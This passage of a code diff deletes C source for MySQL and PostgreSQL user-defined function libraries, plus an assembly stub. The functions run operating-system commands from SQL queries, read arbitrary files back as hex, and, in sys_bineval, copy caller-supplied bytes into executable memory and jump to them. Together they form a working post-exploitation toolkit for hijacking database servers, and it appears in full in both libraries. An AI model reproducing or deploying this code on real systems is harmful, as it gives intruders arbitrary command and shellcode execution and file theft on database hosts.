|
||||||
void sys_bineval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
int sys_bineval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
);
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/**
|
|
||||||
* lib_mysqludf_sys_info
|
|
||||||
*/
|
|
||||||
my_bool lib_mysqludf_sys_info_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
my_bool status;
|
|
||||||
if(args->arg_count!=0){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
|
||||||
);
|
|
||||||
status = 1;
|
|
||||||
} else {
|
|
||||||
status = 0;
|
|
||||||
}
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
void lib_mysqludf_sys_info_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
char* lib_mysqludf_sys_info(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
strcpy(result,LIBVERSION);
|
|
||||||
*length = strlen(LIBVERSION);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_get_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
if(args->arg_count==1
|
|
||||||
&& args->arg_type[0]==STRING_RESULT){
|
|
||||||
initid->maybe_null = 1;
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly one string type parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_get_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
char* sys_get(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
char* value = getenv(args->args[0]);
|
|
||||||
if(value == NULL){
|
|
||||||
*is_null = 1;
|
|
||||||
} else {
|
|
||||||
*length = strlen(value);
|
|
||||||
}
|
|
||||||
return value;
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_set_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
if(args->arg_count!=2){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly two arguments"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
if(args->arg_type[0]!=STRING_RESULT){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected string type for name parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
args->arg_type[1]=STRING_RESULT;
|
|
||||||
if((initid->ptr=malloc(
|
|
||||||
args->lengths[0]
|
|
||||||
+ 1
|
|
||||||
+ args->lengths[1]
|
|
||||||
+ 1
|
|
||||||
))==NULL){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Could not allocate memory"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_set_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
if (initid->ptr!=NULL){
|
|
||||||
free(initid->ptr);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
long long sys_set(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
char *name = initid->ptr;
|
|
||||||
char *value = name + args->lengths[0] + 1;
|
|
||||||
memcpy(
|
|
||||||
name
|
|
||||||
, args->args[0]
|
|
||||||
, args->lengths[0]
|
|
||||||
);
|
|
||||||
*(name + args->lengths[0]) = '\0';
|
|
||||||
memcpy(
|
|
||||||
value
|
|
||||||
, args->args[1]
|
|
||||||
, args->lengths[1]
|
|
||||||
);
|
|
||||||
*(value + args->lengths[1]) = '\0';
|
|
||||||
return SETENV(name,value);
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_exec_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
unsigned int i=0;
|
|
||||||
if(args->arg_count == 1
|
|
||||||
&& args->arg_type[i]==STRING_RESULT){
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly one string type parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_exec_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
my_ulonglong sys_exec(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
return system(args->args[0]);
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_eval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
unsigned int i=0;
|
|
||||||
if(args->arg_count == 1
|
|
||||||
&& args->arg_type[i]==STRING_RESULT){
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly one string type parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_eval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
char* sys_eval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
FILE *pipe;
|
|
||||||
char *line;
|
|
||||||
unsigned long outlen, linelen;
|
|
||||||
|
|
||||||
line = (char *)malloc(1024);
|
|
||||||
result = (char *)malloc(1);
|
|
||||||
outlen = 0;
|
|
||||||
|
|
||||||
result[0] = (char)0;
|
|
||||||
|
|
||||||
pipe = popen(args->args[0], "r");
|
|
||||||
|
|
||||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
|
||||||
linelen = strlen(line);
|
|
||||||
result = (char *)realloc(result, outlen + linelen);
|
|
||||||
strncpy(result + outlen, line, linelen);
|
|
||||||
outlen = outlen + linelen;
|
|
||||||
}
|
|
||||||
|
|
||||||
pclose(pipe);
|
|
||||||
|
|
||||||
if (!(*result) || result == NULL) {
|
|
||||||
*is_null = 1;
|
|
||||||
} else {
|
|
||||||
result[outlen-1] = 0x00;
|
|
||||||
*length = strlen(result);
|
|
||||||
}
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_bineval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
){
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_bineval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
int sys_bineval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
){
|
|
||||||
size_t len;
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
int pID;
|
|
||||||
char *code;
|
|
||||||
#else
|
|
||||||
int *addr;
|
|
||||||
size_t page_size;
|
|
||||||
pid_t pID;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
len = (size_t)strlen(args->args[0]);
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
// allocate a +rwx memory page
|
|
||||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
||||||
strncpy(code, args->args[0], len);
|
|
||||||
|
|
||||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
|
||||||
#else
|
|
||||||
pID = fork();
|
|
||||||
if(pID<0)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
if(pID==0)
|
|
||||||
{
|
|
||||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
|
||||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
|
||||||
|
|
||||||
// mmap an rwx memory page
|
|
||||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
|
||||||
|
|
||||||
if (addr == MAP_FAILED)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
strncpy((char *)addr, args->args[0], len);
|
|
||||||
|
|
||||||
((void (*)(void))addr)();
|
|
||||||
}
|
|
||||||
|
|
||||||
if(pID>0)
|
|
||||||
waitpid(pID, 0, WNOHANG);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
#if defined(_WIN64)
|
|
||||||
void __exec_payload(LPVOID);
|
|
||||||
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
__exec_payload(lpParameter);
|
|
||||||
}
|
|
||||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
__asm
|
|
||||||
{
|
|
||||||
mov eax, [lpParameter]
|
|
||||||
call eax
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif /* HAVE_DLOPEN */
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,277 +0,0 @@
|
||||||
/*
|
|
||||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
|
||||||
web: http://bernardodamele.blogspot.com/
|
|
||||||
email: bernardo.damele@gmail.com
|
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU Lesser General Public
|
|
||||||
License as published by the Free Software Foundation; either
|
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
|
||||||
|
|
||||||
This library is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
Lesser General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
|
||||||
License along with this library; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
*/
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
#define _USE_32BIT_TIME_T
|
|
||||||
#define DLLEXP __declspec(dllexport)
|
|
||||||
#define BUILDING_DLL 1
|
|
||||||
#else
|
|
||||||
#define DLLEXP
|
|
||||||
#include <sys/mman.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/wait.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include <postgres.h>
|
|
||||||
#include <fmgr.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
#include <ctype.h>
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef PG_MODULE_MAGIC
|
|
||||||
PG_MODULE_MAGIC;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
char *text_ptr_to_char_ptr(text *arg)
|
|
||||||
{
|
|
||||||
char *retVal;
|
|
||||||
int arg_size = VARSIZE(arg) - VARHDRSZ;
|
|
||||||
retVal = (char *)malloc(arg_size + 1);
|
|
||||||
|
|
||||||
memcpy(retVal, VARDATA(arg), arg_size);
|
|
||||||
retVal[arg_size] = '\0';
|
|
||||||
|
|
||||||
return retVal;
|
|
||||||
}
|
|
||||||
|
|
||||||
text *chr_ptr_to_text_ptr(char *arg)
|
|
||||||
{
|
|
||||||
text *retVal;
|
|
||||||
|
|
||||||
retVal = (text *)malloc(VARHDRSZ + strlen(arg));
|
|
||||||
#ifdef SET_VARSIZE
|
|
||||||
SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
|
|
||||||
#else
|
|
||||||
VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
|
|
||||||
#endif
|
|
||||||
memcpy(VARDATA(retVal), arg, strlen(arg));
|
|
||||||
|
|
||||||
return retVal;
|
|
||||||
}
|
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(sys_exec);
|
|
||||||
#ifdef PGDLLIMPORT
|
|
||||||
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
|
||||||
#else
|
|
||||||
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
|
||||||
#endif
|
|
||||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
|
||||||
int32 result = 0;
|
|
||||||
char *command;
|
|
||||||
|
|
||||||
command = text_ptr_to_char_ptr(argv0);
|
|
||||||
|
|
||||||
/*
|
|
||||||
Only if you want to log
|
|
||||||
elog(NOTICE, "Command execution: %s", command);
|
|
||||||
*/
|
|
||||||
|
|
||||||
result = system(command);
|
|
||||||
free(command);
|
|
||||||
|
|
||||||
PG_FREE_IF_COPY(argv0, 0);
|
|
||||||
PG_RETURN_INT32(result);
|
|
||||||
}
|
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(sys_eval);
|
|
||||||
#ifdef PGDLLIMPORT
|
|
||||||
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|
||||||
#else
|
|
||||||
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|
||||||
#endif
|
|
||||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
|
||||||
text *result_text;
|
|
||||||
char *command;
|
|
||||||
char *result;
|
|
||||||
FILE *pipe;
|
|
||||||
char *line;
|
|
||||||
int32 outlen, linelen;
|
|
||||||
|
|
||||||
command = text_ptr_to_char_ptr(argv0);
|
|
||||||
|
|
||||||
/*
|
|
||||||
Only if you want to log
|
|
||||||
elog(NOTICE, "Command evaluated: %s", command);
|
|
||||||
*/
|
|
||||||
|
|
||||||
line = (char *)malloc(1024);
|
|
||||||
result = (char *)malloc(1);
|
|
||||||
outlen = 0;
|
|
||||||
|
|
||||||
result[0] = (char)0;
|
|
||||||
|
|
||||||
pipe = popen(command, "r");
|
|
||||||
|
|
||||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
|
||||||
linelen = strlen(line);
|
|
||||||
result = (char *)realloc(result, outlen + linelen);
|
|
||||||
strncpy(result + outlen, line, linelen);
|
|
||||||
outlen = outlen + linelen;
|
|
||||||
}
|
|
||||||
|
|
||||||
pclose(pipe);
|
|
||||||
|
|
||||||
if (*result) {
|
|
||||||
result[outlen-1] = 0x00;
|
|
||||||
}
|
|
||||||
|
|
||||||
result_text = chr_ptr_to_text_ptr(result);
|
|
||||||
|
|
||||||
PG_RETURN_POINTER(result_text);
|
|
||||||
}
|
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
|
||||||
#ifdef PGDLLIMPORT
|
|
||||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
|
||||||
#else
|
|
||||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
|
||||||
#endif
|
|
||||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
|
||||||
int32 argv0_size;
|
|
||||||
size_t len;
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
int pID;
|
|
||||||
char *code;
|
|
||||||
#else
|
|
||||||
int *addr;
|
|
||||||
size_t page_size;
|
|
||||||
pid_t pID;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
|
||||||
len = (size_t)argv0_size;
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
// allocate a +rwx memory page
|
|
||||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
||||||
strncpy(code, VARDATA(argv0), len);
|
|
||||||
|
|
||||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
|
||||||
#else
|
|
||||||
pID = fork();
|
|
||||||
if(pID<0)
|
|
||||||
PG_RETURN_INT32(1);
|
|
||||||
|
|
||||||
if(pID==0)
|
|
||||||
{
|
|
||||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
|
||||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
|
||||||
|
|
||||||
// mmap an rwx memory page
|
|
||||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
|
||||||
|
|
||||||
if (addr == MAP_FAILED)
|
|
||||||
PG_RETURN_INT32(1);
|
|
||||||
|
|
||||||
strncpy((char *)addr, VARDATA(argv0), len);
|
|
||||||
|
|
||||||
((void (*)(void))addr)();
|
|
||||||
}
|
|
||||||
|
|
||||||
if(pID>0)
|
|
||||||
waitpid(pID, 0, WNOHANG);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
PG_RETURN_INT32(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
__asm
|
|
||||||
{
|
|
||||||
mov eax, [lpParameter]
|
|
||||||
call eax
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
|
||||||
{
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#undef fopen
|
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(sys_fileread);
|
|
||||||
#ifdef PGDLLIMPORT
|
|
||||||
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
|
||||||
#else
|
|
||||||
extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
|
||||||
#endif
|
|
||||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
|
||||||
text *result_text;
|
|
||||||
int32 len;
|
|
||||||
int32 i, j;
|
|
||||||
char *filename;
|
|
||||||
char *result;
|
|
||||||
char *buffer;
|
|
||||||
char table[] = "0123456789ABCDEF";
|
|
||||||
FILE *file;
|
|
||||||
|
|
||||||
filename = text_ptr_to_char_ptr(argv0);
|
|
||||||
|
|
||||||
file = fopen(filename, "rb");
|
|
||||||
if (!file)
|
|
||||||
{
|
|
||||||
PG_RETURN_NULL();
|
|
||||||
}
|
|
||||||
fseek(file, 0, SEEK_END);
|
|
||||||
len = ftell(file);
|
|
||||||
fseek(file, 0, SEEK_SET);
|
|
||||||
|
|
||||||
buffer=(char *)malloc(len + 1);
|
|
||||||
if (!buffer)
|
|
||||||
{
|
|
||||||
fclose(file);
|
|
||||||
PG_RETURN_NULL();
|
|
||||||
}
|
|
||||||
|
|
||||||
fread(buffer, len, 1, file);
|
|
||||||
fclose(file);
|
|
||||||
|
|
||||||
result = (char *)malloc(2*len + 1);
|
|
||||||
for (i=0, j=0; i<len; i++)
|
|
||||||
{
|
|
||||||
result[j++] = table[(buffer[i] >> 4) & 0x0f];
|
|
||||||
result[j++] = table[ buffer[i] & 0x0f];
|
|
||||||
}
|
|
||||||
result[j] = '\0';
|
|
||||||
|
|
||||||
result_text = chr_ptr_to_text_ptr(result);
|
|
||||||
|
|
||||||
free(result);
|
|
||||||
free(buffer);
|
|
||||||
free(filename);
|
|
||||||
|
|
||||||
PG_RETURN_POINTER(result_text);
|
|
||||||
}
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,7 +0,0 @@
|
||||||
.CODE
|
|
||||||
__exec_payload PROC x:QWORD
|
|
||||||
mov rax, x
|
|
||||||
call QWORD PTR[rax]
|
|
||||||
ret
|
|
||||||
__exec_payload ENDP
|
|
||||||
END
|
|
|
@ -1,567 +0,0 @@
|
||||||
/*
|
|
||||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
Copyright (C) 2007 Roland Bouman
|
|
||||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
|
||||||
web: http://www.mysqludf.org/
|
|
||||||
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU Lesser General Public
|
|
||||||
License as published by the Free Software Foundation; either
|
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
|
||||||
|
|
||||||
This library is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
Lesser General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
|
||||||
License along with this library; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
*/
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
#define DLLEXP __declspec(dllexport)
|
|
||||||
#else
|
|
||||||
#define DLLEXP
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/wait.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef STANDARD
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <time.h>
|
|
||||||
#ifdef __WIN__
|
|
||||||
typedef unsigned __int64 ulonglong;
|
|
||||||
typedef __int64 longlong;
|
|
||||||
#else
|
|
||||||
typedef unsigned long long ulonglong;
|
|
||||||
typedef long long longlong;
|
|
||||||
#endif /*__WIN__*/
|
|
||||||
#else
|
|
||||||
#include <my_global.h>
|
|
||||||
#include <my_sys.h>
|
|
||||||
#endif
|
|
||||||
#include <mysql.h>
|
|
||||||
#include <m_ctype.h>
|
|
||||||
#include <m_string.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
#include <ctype.h>
|
|
||||||
|
|
||||||
#ifdef HAVE_DLOPEN
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
|
|
||||||
|
|
||||||
#ifdef __WIN__
|
|
||||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
|
||||||
#else
|
|
||||||
#define SETENV(name,value) setenv(name,value,1);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
my_bool lib_mysqludf_sys_info_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void lib_mysqludf_sys_info_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
char* lib_mysqludf_sys_info(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_get
|
|
||||||
*
|
|
||||||
* Gets the value of the specified environment variable.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_get_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_get_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
char* sys_get(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_set
|
|
||||||
*
|
|
||||||
* Sets the value of the environment variables.
|
|
||||||
* This function accepts a set of name/value pairs
|
|
||||||
* which are then set as environment variables.
|
|
||||||
* Use sys_get to retrieve the value of such a variable
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_set_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_set_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
long long sys_set(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_exec
|
|
||||||
*
|
|
||||||
* executes the argument commandstring and returns its exit status.
|
|
||||||
* Beware that this can be a security hazard.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_exec_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_exec_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
my_ulonglong sys_exec(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_eval
|
|
||||||
*
|
|
||||||
* executes the argument commandstring and returns its standard output.
|
|
||||||
* Beware that this can be a security hazard.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_eval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_eval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
char* sys_eval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_bineval
|
|
||||||
*
|
|
||||||
* executes bynary opcodes.
|
|
||||||
* Beware that this can be a security hazard.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_bineval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_bineval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
int sys_bineval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
);
|
|
||||||
|
|
||||||
